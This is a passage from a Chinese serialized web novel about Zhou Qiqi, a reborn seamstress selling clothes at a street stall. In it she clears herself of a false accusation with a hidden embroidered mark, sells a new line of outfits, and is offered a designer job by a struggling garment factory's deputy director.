她这次要卖的货里,也有十套这样的小套装,都在蛇皮袋里放着呢。 这话一说完,谭警官立马转身出去,一路小跑着就把她的蛇皮袋拎了进来。 他亲自从里面拿了几套出来,放在桌上。 众人围拢过来,将两件衣服拿在手里仔细对比。 有眼睛的都看得出来,两件衣服虽然款式相同,但质地、做工相差甚远。 就连李队长这种在穿衣服方面没有任何讲究的人,也不禁皱着眉头,得出结论。 “确实很不一样。” 说着还看向报警的大婶。 “婶子,是不是你搞错了?” 大婶也凑过来看了看,她也不是傻子,能看出来确实不是一样的货。 但她仍旧不信,她瞪大了眼睛,死死盯着周柒柒,非常笃定。 “反正我给了我女儿二十五块钱,让她在你这儿买的!不可能搞错!” 她眼珠子滴溜溜乱转,随后咬牙切齿提出了自己的猜想。 “也许是你好货和次货混着卖呢?” “对啊,也不是没有这个可能。你怎么证明这不是你卖的?” 刚才在外面被周柒柒下了面子的小黄警官也默默附和了一句,眼神里带着几分不怀好意。 第63章 独家商标 黄警官话音刚落,整个办案区瞬间安静下来,众人齐刷刷将目光投向他。 就连先前一直没正眼瞧他的李队长,也微微转头,目光如炬地盯着他,沉声道。 “哦,怎么说?” 李队长作为治安大队一把手,平日里公务繁忙,鲜少过问这类琐碎案件,也就是今天正好碰见了。 被李队长的目光一盯,黄警官只觉心脏猛地一缩,一股热血直冲脑门—— 转正的机会这不就来了! 他腰杆瞬间挺直,喉结快速滚动两下,迫不及待地开口。 “我是觉得,人家大婶总不能为了故意冤枉她,给自己闺女胳膊上划那么长一条口子吧?人家女娃娃可是学舞蹈的!” 说到激动处,他大步上前,几乎要贴上周柒柒的脸,眼神中满是咄咄逼人的气势,语气强硬道。 “除非这个女人真拿得出证据,证明这衣服不是她卖的!” “否则,必须把她带进审讯室,好好审一审!” “好!好!好!” 李队长连说三个“好”字,语气却听不出喜怒。 黄警官心中一喜,嘴角不受控制地扬起,脑袋也跟着高高昂起,满心期待着领导的夸奖。 可下一秒,一顶警帽“啪”地砸在他脸上。 “你就是这么办案?让群众自己证明自己的清白?证明不了就要抓进去?” 李队长脖颈青筋暴起,怒目圆睁,声音冷得像冰。 “我问你,刑事诉讼法第35条是什么,还记得吗?” “记,记得...” 黄警官被砸了个措手不及,踉跄着后退半步,脸颊瞬间红肿,声音颤抖着背道。 “对一切案件的判处都要重证据,重调查研究,不轻信口供...” 他的声音越来越小,底气全无。 李队长居高临下地盯着他,眼神里满是失望与愤怒。 “那现在有任何证据吗?你调查研究了吗?” “这就是一点儿轻微伤,顶多就是个治安案,可能治安案都立案不了,顶多是个纠纷,你动不动就抓人,抓人的,把群众全当犯罪嫌疑人了?” “有你这样当警察的吗?真当自己是个人物了?怪不得现在外面人人都害怕和我们公安打交道,就是你这种小人太多了!” 他猛地甩了下手,语气冰冷。 “我看你也别在办案区待了,回头给你调到别的地方去。” 这突如其来的处罚让黄警官如遭雷击,呆立当场。 他张了张嘴,还想辩解,却见李队长厌恶地翻了个白眼,怒吼道:“滚!别在这儿碍眼!” 训斥完黄警官,李队长面色依旧阴沉如水,转头看向谭警官。 “老谭,你说,这事儿怎么处理?” 谭警官摩挲着下巴,沉思片刻后开口。 “既然没有证据证明这件衣服是从周同志摊位上买的,简单做个笔录,留个地址电话,就应该让人家正常回去做生意。” 至于后续再怎么走访调查,那是他们警察的事情了。 李队长微微颔首:“就这么办。” 他又转向周柒柒,语气虽然生硬,却多了几分郑重。 “女同志,让你受惊了。配合做个笔录,回答几个问题就行,留个地址电话,后续可能还需你协助调查。” 周柒柒有些愕然。 刚才听那位黄警官那么说,她以为自己今天估计得受点小挫折,都在想着要怎么办了,没想到不用她出手,就峰回路转了。 多亏是遇见了这位李队长。 她深吸口气,朝两位警官弯腰致谢。 “李队长,谭警官,谢谢你们公正处理。” 话锋一转,她眉眼间绽出自信笑意。 “不过,用不着这么麻烦了,我现在就有办法证明,这件衣服绝对不是从我摊位上买的!” “哦?现在?什么办法?” 李队长挑眉,目光瞬间锐利起来。 周柒柒从容拿起一件衣服,指尖划过下摆的隐秘包边,将布料举向灯光。 “出自我手的每一件衣服,我都在隐蔽位置,绣了一个‘柒’字,算是我自己的独家商标。” 她的声音不疾不徐,却带着令人信服的力量。 李队长和谭警官对视一眼,各自拿起衣服查看。 在布料褶皱间,果然发现若隐若现的“柒”字。 而且,更令人啧啧称奇的是,布料的两面,都是“柒”字,而且正反面颜色、字体截然不同,针法细腻得如同流云一般! “好手艺!” 谭警官忍不住赞叹。 而李队长更专注于细节,皱眉问道,“同志,这是怎么做到的?” 周柒柒歪头一笑,眉眼弯弯。 “这是苏绣的传统绣法,双面异色暗线绣,一句两句说不清楚,说了你们也学不会,不止你们,我敢说,整个G市,只有我一个人会!” 她这话都说得小了,实际上,整个华国会的人都没几个。 这手双面异色暗线绣法,可是大有来头。 是华国传统苏绣中极为罕见的技法,更是非物质文化遗产。 上辈子,周柒柒不知费了多少功夫,登门拜访几十个老绣娘,才拼拼凑凑地学会了这一手绝活。 不过还没学会多久,没来得及施展,就猝死了。 这不,重活一世,她坐在缝纫机前,就忍不住开始炫技了。 没想到,今儿个还给派上用场了。 周柒柒指尖抚过布料,眼神清亮。 “这一蛇皮袋的衣服,都有我的商标,要是觉得这些衣服还不够,你们可以去查我之前卖出去的。我的顾客大多是师范学校的学生和罐头厂的女工,我能给你们几个顾客名字,随便查!” 李队长和谭警官对视一眼,齐声应下。 “那你写下来,我们现在就去查,一定还你清白!” 话音未落,却听一个气喘吁吁的女声忽然闯了进来。 “不用那么麻烦!我现在就能给周柒柒作证!” 周柒柒扭头一看,不是别人,正是卖袜子的大姐。 她手里正攥着一身衣服,声音有些颤抖。 “我手里这身就是上个礼拜在柒柒摊位买的,你们看看~!” 她身后,赵大姐和男装大婶也满脸焦急地跟了进来。 李队长接过衣服仔细查看,点头给出了结论。 “确实有商标,没问题。周同志和报案的大婶素不相识,没理由故意害她女儿,确实是清白的。” 谭警官也点了点头。 这情况反转得太快,报案的大婶这会儿才反应过来,第一时间却是扯着嗓子继续喊道。 “放屁!不可能!我女儿明明说...” 这时,那个一直瑟缩在角落的女孩,突然蹲在地上崩溃大哭,肩膀剧烈颤抖,指节因为死死攥着衣角而泛白。 第64章 原来也是军人! “妈!你别说了,我不是在这个姐姐那儿买的!” 女孩看着也就十六、七岁,哽咽着揪紧衣角,指甲深深掐进掌心,哭得泣不成声,泪珠子大颗大颗砸在衣襟上。 “那天你给我二十五块钱,我去买冰棍,结果不小心弄丢了五块,后来在旁边巷子里看见一模一样的裙子只要十八,想着能把缺口补上,就鬼迷心窍买了......” 结果没注意袖子里缝着个刀片,拿回去一试穿,胳膊被划出好大一道口子,挨了妈妈一顿打骂,心里害怕,一直不敢说实话。 大婶听完,顿时觉得颜面尽失,脸涨成了猪肝色,抄起墙角的扫帚,就朝女儿劈头盖脸砸去,口中骂骂咧咧。 “你个赔钱货!学会撒谎了?看我不打死你!” 李队长和谭警官眼疾手快,连忙上前拦住大婶挥舞的扫帚,架着她的胳膊往旁边拽。 “别动手!” “教育孩子也不能动手,有话好好说!” 可大婶正怒火中烧,根本听不进劝。 她挣脱束缚,追着女儿满屋子打转。 桌椅翻倒声、哭喊声交织在一起,把办案区搅得鸡飞狗跳。 大婶一边追打,一边歇斯底里地喊着: “给你买裙子是让你相亲用的,这点儿事儿都办不好!” “没人要的贱货!怎么不去死呢你!” ...... 污言秽语不断从她口中吐出,越来越难听。 李队长脸色一沉,大手一挥,喊过七八个公安,直接把人扭送进了审讯室,让她好好冷静冷静。 至于周柒柒这边,虽然已经证明了她的清白,但是还是需要简单地做个笔录,说明一下情况。 眼前的情况,显然是有人抄袭周柒柒的款式在卖货,但是用的全都是劣质的货品,做工也很糙,把刀片缝进去了都不知道。 小姑娘贪便宜买了次等货,又不敢告诉妈妈,结果害得周柒柒陷入了麻烦里。 总的来说,就是一场大乌龙,和周柒柒没什么关系。 她非但不是犯罪嫌疑人,反而是一个彻头彻尾的受害者。 做完笔录,李队长拍了拍周柒柒的肩膀。 “这个人回头我们也会调查的,等找到了,你可以去工商局告她去,她侵犯了你的权益。” 周柒柒咬着下唇思索片刻,脑海中浮现出一张尖酸刻薄的脸。 “我可能知道那个人是谁,麻烦你们尽快去查一下。” 说着,她便是把冉红霞的名字和大致长相说了说。 “有线索就好办!” 李队长眼睛一亮。 “省了我们的事儿了,你留个联系方式和地址,回头有信儿了,我们通知你。” “行。” 周柒柒点了点头,在纸上写下了自己的地址电话。 递过去的时候,听到不远处的审讯室里,那个大婶还在破口大骂,咬了咬唇开口道。 “还有,李队长,刚才那个小姑娘,希望你们能帮着劝一劝,开导一下,我怕她可能会想不开。” “行,我知道了。” 李队长严肃地点了点头,接过纸条,不敬意地撇了一下,眼睛忽然就瞪大了。 “海子湾军属区...原来你是军嫂?” 他脸上瞬间有了笑容。 “怪不得这么有本事!遇事也一点都不慌!” 说着,兴冲冲从抽屉里掏出了一张退伍证。 “我也是军人退伍下来的,和你们军区不少军官都很熟!包括你们军区的战斗英雄沈淮川,从前都是我的学生!我们上个月底才在局长办公室见过呢!” 周柒柒一愣,怪不得刚才觉得李队长的冷酷模样有些熟悉,原来也是军人! 她赶紧伸手,“既然您是淮川的老师,那我也应该叫您一声老师了!” 李队长眼睛瞪得更大了。 “你...你不会就是淮川刚娶的老婆吧?” 这可是正儿八经的自己人,李队长懊悔地直拍大腿。 “哎呀,你怎么不早说呢!刚才没吓着你吧?” 周柒柒连忙摇头,“老师办案挺公正的,就是那个小黄警官...” 看他那幅架势,以前不知道凭着自己的身份欺压过多少普通老百姓了。 也就是周柒柒这个天不怕地不怕,才没被他给欺负。 李队长说。 “你放心,回头我会处理的,不让他办案了,让他去军犬队喂狗去!” 周柒柒急忙阻拦。 “别别别,让他喂军犬,我都怕他看狗下菜,回头打毛孩子怎么办?” 李队长摸了摸下巴。 “也是,不行就给他派到看守所那边看犯人去,反正他看谁都有罪!” 这倒是个好去处,两个人相视一笑。 又寒暄了几句,周柒柒看时间不早,已经十点多了,赶紧说自己还要回去摆摊。 “那我送你过去!” 李队长立刻说道,周柒柒赶忙摆手,她可不想搞特殊。 李队长拗不过他,只好安排手下人去送她。 走之前,李队长还神神秘秘地拍了拍周柒柒的肩膀,说道。 “说起来还得谢谢你,就是因为你,我们治安大队最近的业务提升了不少,不少人反应更安全了,局长还点名表扬了我们!” “啊?” 周柒柒听得有些摸不着头脑。 李队长眨了眨眼,没解释,只是挥着手让周柒柒赶紧去忙。 谭警官和另外一个小吴警官,帮忙拎着蛇皮袋,一起送周柒柒回摊位。 自打周柒柒进了公安局的门,外头这些摆摊的就伸长了脖子一直在看呢。 一看人回来了,周围一圈人又瞬间聚拢了过来,想看看究竟发生什么事儿了。 “不是被逮捕了吗?怎么这么快就放回来了?” “不会真上头有人儿吧?” “就是说啊,到底咋回事儿?” ... 谭警官见状,浓眉一皱,赶忙分开人群挤了进来。 他双手在空中用力一挥,大声吆喝道。 “都别看了!没啥大事儿,就是场误会!都散了散了,别在这儿瞎传!” 说完,他转头看向周柒柒,脸上露出和善的笑容,主动伸出手来。 “同志,以后要是遇到麻烦,尽管找我们,还有附近的巡逻队,我们随叫随到!” 得知周柒柒是军嫂后,他的语气愈发温和,态度也恭敬了几分。 周柒柒微笑着握住谭警官的手,轻声说道。 “行,太感谢您了,谭警官。” 有了公安的这番保证,围观的人群虽然满心好奇,却也不敢再多说什么,只能三三两两地散开。 等警察一走,旁边的袜子大姐、男装大婶立马凑了上来,脸上写满担忧。 “没事吧,柒柒?” 周柒柒摇摇头,露出感激的笑容。 “没事儿,这次多亏了你们帮忙作证。” 大姐拍了拍周柒柒的手背,说道。 “这都是赵大姐的主意,她说警察要拿你卖的衣服当证据,我才想起来回家取衣服,没想到真帮上大忙了……” 说着她一扭头, “唉赵大姐呢?刚才还在这儿呢!” 第65章 买买买! “对啊,小赵人呢?刚才不还在这儿呢吗?” 卖男装的大婶也蹙着眉头说道。 周柒柒赶紧四下张望,远远地看见一个背影,像是赵大姐,赶紧追了上去。 好不容易追到,她微微喘着气,鬓角沁出细密的汗珠。 “赵大姐,你干嘛去?怎么也不说一声?我还以为你出事了呢?” 赵大姐搓着衣角,憨厚地笑了笑,眼底满是局促。 “我看你没事就赶紧走了,驴车还放在人家厂区门口,耽误了别人总不好的。” 看着眼前这个女人,周柒柒心里泛起涟漪。 别看赵大姐是粗人,也没念过书,但是为人这方面是真的没得挑。 丈夫去世,二话不说,就接过拉车的营生,独自抚养三个孩子,还要照顾脑子糊涂的公公。 明明才三十二岁,但却被日晒雨淋折磨的,像是四十岁一样。 就这样,她依旧那么乐观,善良,坚韧。 想起刚才她浑身发抖,却仍把自己护在身后的模样,周柒柒眼眶发热,连忙摆摆手,声音不自觉地放柔。 “行,那你先去吧,回头再说,今天可能会晚一点收摊,你四点半等不到我就先回去吧。” 刚才耽误了那么长时间,这会儿已经快十一点了,她得赶紧回去摆摊。 心里记挂着摊位,周柒柒一路疾走。 远远瞧见熟悉的位置,她脚步一顿。 大姐和大婶正站在那里,横幅已经整整齐齐地挂好,摊位也布置妥当。 “今天带什么新款了,赶快拿出来给我们瞧瞧~” 两人眼睛亮晶晶的,不住地催促。 两个人做事也有分寸,只是帮着支摊,货可是碰都没碰。 这两人刚才也在公安局简单做过笔录,大姐叫郑玉兰,三十五岁,大婶叫孙招娣,四十一岁。 “好~” 周柒柒唇角扬起一抹甜笑,心里暖融融的,利索地打开包裹。 今天除了蝙蝠衫、牛仔裤,法式小套装,还有一样新款。 也是套装,可以分开买,也可以叠加着一起买。 上身是她在萍姐那儿进的基础款的确良黑色西装,收了腰、加了垫肩,V字领口透着利落。 下半身则是她在布料店里扯的亚麻布,裁剪成双层A字长裙,垂坠又飘逸。 郑玉兰眼睛瞬间亮了,拿起桔色小碎花裙子,贴在身上左右比画,脸颊泛起红晕。 “哇~这也太好看了~好像正适合我穿!” 孙招娣本来只是瞧热闹,但是瞧着瞧着,眼睛也亮了,拿起一件黑色大花的裙子,犹豫着往身上比了比。 “我穿好像也行...” 两人相视一笑,围着彼此转了圈,你一言我一语地夸赞。 “真的行~颜色很适合你,而且这是大花,显得很大气!” “你这个也很适合你啊,小碎花,颜色很亮,跟你太配了~!” 周柒柒嘴角忍不住上扬,下巴微微扬起,带着几分得意:“这就对咯~” 上次的法式小套装受众有限,这次她特意改良,就是想让更多人都能穿上好看的衣服。 “柒柒,这一套多少钱?” 郑玉兰迫不及待地问道。 “一套三十块钱,送一件棕色的细腰带,如果不要腰带的话,便宜五毛钱。” 周柒柒声音清亮。 “郑大姐,你想要的话,我还是照上次那样,给你打折。” 这一套比法式小套装贵了一点,没办法,天气开始转凉,秋冬的衣服进价就是要贵一点。 “这么贵?顶我卖小半个月袜子了...” 郑大姐咬着嘴唇,有点犹豫,旁边的孙大婶劝说道。 “婶子劝你一句,既然这么喜欢,就买吧,你这给女儿买裙子,给家里男人买西装,都是眼睛都不眨一下,结果轮到自己,就怎么都舍不得了...” “行!买就买!” 郑大姐咬了咬牙,“要不然我天天起早贪黑地守着摊卖袜子干嘛?” 她抱着裙子,开心得不得了,跟小姑娘似的,蹦蹦跳跳地,扭头看向大婶。 “孙大姐,你呢?你买不买?” 郑玉兰年初在这一片摆摊的时候,就见过孙招娣,那时候她就穿身上这身会灰扑扑的蓝褂子,今天她穿的还是那一身。 明明是四十出头的大姐,硬是看起来像五十多岁的婶子似的。 孙婶子抚摸着裙摆的手微微颤抖,最终还是放下了。 “我就算了,我都多大年纪了,还穿新衣服干啥...” 郑大姐翻了个白眼,劝说道。 “你娘家弟弟那两个弟弟,看着比你也小不了几岁,昨天来你摊子上拿衣服的时候,也没见他们手软。” “你这点钱该花就花,不然全都被他们霍霍完了。” “再说了,你现在不穿裙子,年龄再大点,想穿都穿不了了!” 孙招娣听了这些话,喉咙有些发紧。 她身为家中长姐,年纪轻轻就帮着母亲拉扯两个弟弟长大。 年轻的时候,母亲总说,让她等等,先给两个弟弟买新衣服。 结婚以后,母亲又说让她再等等,先给男人和孙子买新衣服。 可等着等着,她都这么大年纪了,柜子里永远只有灰扑扑的旧衣服。 别说是裙子了,连一件像样的新衣服都没穿过。 这会儿看着那件黑色花朵的新裙子,她忽地握紧拳头,“买!” “这就对咯~!” 郑玉兰神采飞扬地点了点头,又冲着周柒柒努了努嘴。 “小柒柒,你帮我俩算算,一套多少钱?腰带我自己有,省点是点。” “好嘞~” 周柒柒眉眼弯弯。 “这是今天的第一单,本来应该给你们打八八折的,不过咱们也算是邻居,就不说什么八八折了,直接给打八折,一套是二十三块六毛,腰带也送你们了~” “行,那我俩就不客气了。” 郑玉兰和孙招娣对视一眼,就开始掏钱。 女人买衣服就是这样。 买之前各种纠结心疼,但一旦下了决定,心就横了。 两人没说啥,但从开始就凑在旁边看热闹的一个女人却忽然插嘴道。 “要不你就给她俩再便宜点呗,打个五折六折啥的,少赚点呗~” “瞅着你们关系那么好~” “看这婶子多可怜,你就当积德了!” 她那双眼睛在周柒柒和两位大姐跟前来回转悠,一看就不是什么善茬。 不过不等周柒柒回应,郑大姐就赶紧摆手。 “打八折已经破例了,可不能因为我们,坏了柒柒摊位上的规矩!” “就是的~!已经便宜不少了!” 孙大姐也点了点头,赶紧掏了钱出来,递给周柒柒。 那女人双臂交叉在胸前,撇了撇嘴。 “假模假式的,说什么好邻居,一口一个姐姐,婶婶的,说得那么姐妹情深,结果还要赚别人的钱?这像话吗?” “要是六折不行,那就七折呗!” “多赚那么多钱,你良心过得去吗?” 第66章 又来找茬了?? 周柒柒接过钱,唇角扬起恰到好处的弧度,笑意却未达眼底。 她声音清脆利落,字字掷地有声。 “不能再便宜了,早就定好的规矩,该赚的钱我心安理得,干嘛良心过不去?” 那女人见实在没有余地,眼皮不耐烦地一翻,撇了撇嘴,嘴里叽里咕噜不知道小声骂了一句什么。 然后扬了扬下巴,指了指摊位上另外一套淡黄色的套装。 “那行吧,给我也来一套,跟她们一起算八折好了~” 说着便是打开钱包,点了二十三块六毛出来,趾高气昂地递给周柒柒。 周柒柒有点无语地笑了。 合着在这等着呢~ 怪不得无缘无故的,忽然帮着两位大姐讲价,原来打的是这个算盘。 周柒柒可不惯着她,没有伸手去接,而是她挺直脊背,挑眉直视对方。 “承蒙惠顾,小摊只有第一单打折,其他都是一口价,您要的那身三十块,谢谢。” 女人立马就不乐意了。 “一起算好了呀,那天我路过看见你给别人一起算的呀!” 周柒柒耸了耸肩,把钱收进小挎包。 “不好意思,两个大姐已经给钱了,这第一单已经结单了,您要买,就只能原价。” 女人双手叉腰,嗓门骤然拔高。 “小姑娘这么小气干什么?掉进钱眼里去啦? “非要我多给那几块钱,没这几块不过年啦?” 周柒柒没吱声,只低着头给两位大姐装衣裳,给她俩一人拿了一个发圈。 然后就开始整理摊上的货。 任凭女人怎么说,她就是不抬头,也不搭理,让她一个人发疯。 路过的人瞧着,都不由捂着嘴偷笑。 女人爱漂亮,自然也是要脸的,被这么一说,红着脸跺脚跑开了,走之前还恶狠狠骂了一句。 “算了算了!我不要了!小姑娘欺人太甚!” 周柒柒才没空搭理她呢,前脚刚把摊位上的衣服整理好,后脚马上就来了客人,是罐头厂的女工,还穿着制服呢,袖口还带着个红袖章,写着“组长”。 这大婶面善,而且一看见她这摊子,就絮絮叨叨起来。 “前几天看我们厂主任的女儿相亲穿了一身小套装,成功了,说是在你这儿买的,我们厂里好多人都想给自己女儿买呢~” “我瞅着我儿媳妇也挺喜欢,想买给她做生日礼物,来这儿找了好几次了,没瞅见你摆摊,今儿个正日子到了,还以为买不上,中午得空着手回家吃饭了呢。” “幸好刚才上厕所听见人多嘴了几句,赶快跟自己请了个假出来了!” “姑娘,你摆摊可不能这么三天打鱼两天晒网啊!严重影响顾客的体验,还不利于自身事业发展。” 别看这大婶絮叨,说话倒还是条理清晰,一套一套的。 周柒柒被说得都有点脸红了,挠了挠头,赶紧把套装拎了出来。 “嘿嘿,今天有新款,婶子你帮你儿媳妇好好挑挑,看看她穿哪个好看~” 大婶抓紧时间挑了起来,很快给儿媳妇挑了一套西装+浅绿色亚麻裙,十分干脆地给了三十块钱,说着。 “我儿媳妇又白又瘦,穿这个指定好看!” 周柒柒用纸袋装好了,却没第一时间给她,而是转身从蛇皮袋里拿了一块同色的布料,三两下系出个饱满的蝴蝶结,衬得纸袋都精致起来。 大婶眼前一亮,立马朝着她竖了个大拇指。 “小姑娘,婶子收回刚才那句话,你有这份手艺,还这么真诚,就算一天打鱼四天晒网,也完全没问题!将来肯定也能发展好!” 周柒柒被婶子这番操作逗乐了,也笑呵呵道。 “行,婶子,借你吉言!” 大婶这边刚说完,那边就有人又看上了牛仔喇叭裤。 每一位顾客,只要不是像那个女人那样侮辱人的,周柒柒都是热情又周到,摊位上很快就聚集了一串的人。 还没忙活完呢,就到十二点了。 学生放学,工人下工,又是好大一波人潮,一直忙活到中午一点半,摊子上才闲了下来。 今天去了一趟公安局,耽搁了不少时间,衣裳没有像前两次那样直接卖完,还剩下十来件。 周柒柒看这会儿大街上也都没什么人了,拽了拽旁边的郑大姐和孙大姐。 “我肚子饿得受不了了,那边有个面摊,走,我请两个姐姐吃面去~” “不用不用~” 两个人赶忙摆了摆手,她们也是刚忙活完。 有周柒柒的摊位在边上,她们两个的小摊顾客都多了不少。 “不行,必须去,不去我伤心了,改明儿就换个地方摆摊,不和你俩挨着了!” 周柒柒叉着腰,歪着嘴巴威胁。 早上她就想好了,肯定是要谢谢两个大姐的。 不过谢归谢,不能和做生意混为一谈,衣服还是打八折。 但是这谢意可以落在其他地方,比如学校门口的小面摊就挺不错的。 既能填饱肚子,还不会给两位大姐带来太多心理负担。 周柒柒这么一说,两位大姐赶紧哄了哄。 “别伤心,别伤心,我们去还不成吗?” 三个人把摊位上的东西收拾了一下,收进蛇皮袋里,放在卖烤红薯的大婶小车旁边,就结伴过去面摊了。 周柒柒点了一碗五毛钱的肉臊子刀削面,还额外多加了一颗五分钱的卤蛋。 两个大姐本来眼睛都往招牌上便宜的那一行瞟,被周柒柒一挡,没了法子。 也都点了五毛钱的炸酱面和打卤面。 摆摊的是夫妻俩,男的大汗淋漓地揉面切面,女的就守在炉子前头下面条,时不时互相擦擦汗,看起来还挺温馨的。 这小摊上的面,虽然没有国营饭店那么多肉,但有股家常味道,吃起来还挺筋道的。 三个人吃得心满意足,又赶紧回去摆摊了。 中午这波人流量过去,下午就没那么多人了,也不知道四点前能不能卖得完。 周柒柒正胡思乱想呢,忽然听见不远处传来一声尖厉的女声。 “看~那边~!就是她没错!终于逮住她了!” “表哥你快来!可千万不能被她给跑了!” 周柒柒回头一看,只见一个精壮的中年男人正眉头紧锁地冲着她的摊位而来—— 好家伙,这是又有人来找茬了? 第67章 邀请 周柒柒看见有人气势汹汹逼近,下意识攥紧帆布包带,目光迅速扫过街道。 当那抹标志性的军绿色制服映入眼帘,她紧绷的脊背才稍稍放松,微仰下颌看向匆匆跑来的中年男人。 男人眉头紧锁,看起来一脸的凶相,对着周柒柒劈头盖脸地就问。 “你就是周柒柒同志吗,柒柒时装摊的老板?” 她挺直腰杆,指尖无意识摩挲着包扣,神色冷淡地点头。 “我是,你有什么事儿吗?” 男人依旧眉头紧锁,“你可真是让我好找啊!” 说着就弯腰去够摊位上的衣服。 “衣服别卖了!跟我走一趟吧!” “你干什么?” 周柒柒心中警铃大作,左手摸出包里的辣椒水,右手就要冲着那边的巡逻队招手。 这时,中年男人身后跟着的小女孩赶到了,她赶忙气喘吁吁地喊道。 “别别别!别喊公安!我们不是坏人!” 周柒柒定睛望去。 只见来人穿着不合身的土黄色军装,瓜皮帽歪扣在头上,小胡子随着喘息微微颤动,满脸都是汗,看着跟个皇军似的。 这滑稽的扮相让周柒柒愣了愣,直到对方红着脸扯掉假胡子,才辨认出是之前的顾客,师范学校的学生邹倩倩。 “倩倩?” 周柒柒紧绷的肩膀瞬间松弛,从包里抽出纸巾递过去,语气带着几分无奈和庆幸。 “这身行头差点没认出来,吓我一跳!” 邹倩倩吐了吐舌头,接过纸巾擦了擦汗。 “刚排练完学校的舞台剧,听说你出摊了,拽着我表哥就跑过来。” 她侧身撞了撞男人,“他有急事找你谈!” 周柒柒眉心微蹙,目光在男人严肃的脸上停留片刻。 “这位是你表哥?那他干嘛让我衣服别卖了,跟他走一趟?” 想起刚才的紧张,她心里还有些余悸。 “他这人嘴笨!完全不会说话!没坏心的。” 邹倩倩嗔怪地瞪了表哥一眼,转眼又露出甜美的笑容。 “他是想说,剩下的衣服我们全包了,找个地方慢慢聊。” 男人额头满是汗水,赶忙点头,肥厚的手掌在裤腿上蹭了蹭,才有些局促地伸出手。 男人忙不迭点头,肥厚的手掌在裤腿上蹭了蹭才伸出来。 “对、对!我叫张国强,G市第一服装厂副厂长,有重要的事情想找周同志你谈谈,不是坏事,是好事。” 第一服装厂?! 这个名字,周柒柒还有印象。 “你该不会,就是批发市场萍姐说的那个朋友吧?” 张国强连忙点了点头,“没错,是我是我!” 他这么一说,周柒柒大致就知道他是想谈什么了。 她垂眸掩住眼底的了然,睫毛轻颤,唇角勾起抹意味深长的笑。 “你一个大男人买我那么多衣服没用,不用你买了,我反正也站得腿酸了,这就收拾收拾,咱们找个地方谈吧。” 张国强生怕说错了话,好在还没开口呢,一边的邹倩倩就赶紧抢话道。 “那不行!我坚决反对!这套西装和半身裙,我得买!我要粉红色的裙子!” “行!我来付钱!” 张国强慌忙扯开裤腰别着的钥匙串,从贴身口袋摸出牡丹牌钱包。 周柒柒着意看了一下,那钱包看起来倒是挺上档次的,表面泛着油亮的光,估计不是什么便宜货。 但是用的时间久了,边角却磨得发白,像极了他身上洗得发灰的蓝布中山装。 看来这个张副厂长平时还是挺节俭的。 因此,当张国强提议去茶楼时,周柒柒婉拒了,选择去附近人民公园的凉亭。 到了地方,邹倩倩开开心心地在自己身上比画裙子。 张国强开门见山地说道。 “是这样的,周柒柒同志,我之前看过了你的设计,所以想聘请你到我们厂子里来当服装设计师!” 周柒柒早就料想到他会这么说了。 这也是她选择来公园,而不是去茶馆喝茶的原因,因为她肯定是会拒绝的,没必要浪费人家的钱。 她轻轻摇头,语气坚定。 “张大哥,不好意思,这个工作,我不能答应。” 张国强一听被拒绝,急得额头冒汗,赶紧又重复了一次待遇。 “周同志,你好好考虑一下,咱们这是国营单位,我可以按照技术8级给你最高待遇,一个月工资一百块,这可是铁饭碗,端上了以后你就不用在外面摆摊了,按时上下班就能拿那么多钱。” 这年代,普通小工一个月工资也就二三十块,效益好的大厂子能有三四十块。 一个月一百块,确实算很大一笔钱了。 要是换做其他人,肯定是拒绝不了的。 但周柒柒就不一样了,她第一次摆摊,就赚了一百一十块,第二次直接上了两百。 而这一次,还没卖完呢,手头差不多就赚了两百块了。 这三回加起来五百块,就是,这仅仅是三个礼拜而已,还是在她经常偷懒的情况下。 如果她像上班一样,每天加班加点地缝衣服,一个月至少也能赚六百。 所以她根本就看不上这一百块的固定工资。 但她也不可能直接这么说,只是轻轻耸肩,神色淡然。 张国强赶紧又补充了一句。 “你别不当一回事啊,还有天大的好处呢,端上铁饭碗,你肯定就能嫁个好人家!这可是女人一辈子最重要最大的事儿了!” 周柒柒知道他没坏心,但这话怎么听怎么别扭。 “嫁人可算不上女人一辈子最重要最大的事儿,甚至可能算不上什么好处,而且...” 她微微一笑,眼神坚定而清冷,“我已经结婚了。” “怎么会呢?你看起来跟我表妹差不多大啊,居然结婚了?” 张国强一脸惊讶。 周柒柒平静地点头。 “是啊,而且我们家不住在市区,家里还有孩子,要是去上班的话,来回也不方便。” 见周柒柒依旧拒绝,张国强沉默片刻,两分钟都没说话。 周柒柒以为他放弃了,却没想到,他忽然抬起头来,郑重其事道。 “住房的问题,厂子里给我分了一套28平米的小院子,如果你能来的话,我这套房子送给你住!” “另外,一个月一百块钱工资不够的话,我给你加到一百五十八块五!” 这怎么还有零有整的? 周柒柒有些愕然,在一边臭美了半天的邹倩倩却是反应过来了,瞪大了眼睛。 “表哥,你一个月工资不是一百零八块五毛钱吗,你不会是想自己贴钱给别人发工资吧?” 第68章 参观厂房 “我...” 张国强喉结动了动,最终抿着唇没否认。 他垂在身侧的手微微蜷起,又松开,似是在压抑某种情绪。 邹倩倩双手叉腰,挺直了脊背,眼神里满是不满。 “难怪我爸总说你死脑筋!天底下哪有你这么当副厂长的?活活把自己往火坑里推!” “我也不想这样啊。” 张国强重重叹了口气,眉头拧成个结,愧疚地望向周柒柒,目光里满是恳切。 “周同志,我跟你说实话吧。” “别看我们第一纺织厂表面上看起来很风光,但实际上,自从去年政策上取消了国家统一包销的政策,改为由工厂自主销售50%后,我们厂子的产品就一直卖不出去,库存不断积压,亏损严重。” 他语速平缓,每一个字都透着沉重。 “上半年就已经发不出工资了,还是我磨破了嘴皮子,把厂里两台细纱机租给乡镇企业换了点钱,才勉强让大家先能吃上饭。” 说到这儿,他突然攥紧拳头砸在掌心。 “我研究过了,原因归根到底,就是我们厂子没有一个好的服装设计师,生产的产品,虽然质量上绝对过关,但款式都是一些过时的老款、旧款,比不过其他服装厂的花样。” 他的声音不自觉拔高。 “这几个月,我一直在寻找这方面的人才,一直都没找到满意的。” 直到他看到周柒柒的设计。 他在第一服装厂已经干了四、五年了,对服装也算是略有了解。 一眼望去,他的眼睛瞬间亮了起来——那设计真有才华! 只是普通的改造,立马就让原本普通的衣服上了好几个档次,比他在花都、沪市见到的那些衣裳还要精致洋气! 甚至可以说,领先市面上的审美好几年! 他紧紧盯着周柒柒,眼神里满是笃定。 他百分百确定,周柒柒就是他想要的人才! 也相信,只有周柒柒这样有才华的设计师,才能让他们第一服装厂起死回生。 听张国强说完,周柒柒微微垂下眸,手指无意识地绞着衣角,陷入了沉思。 邹倩倩却是撇了撇嘴。 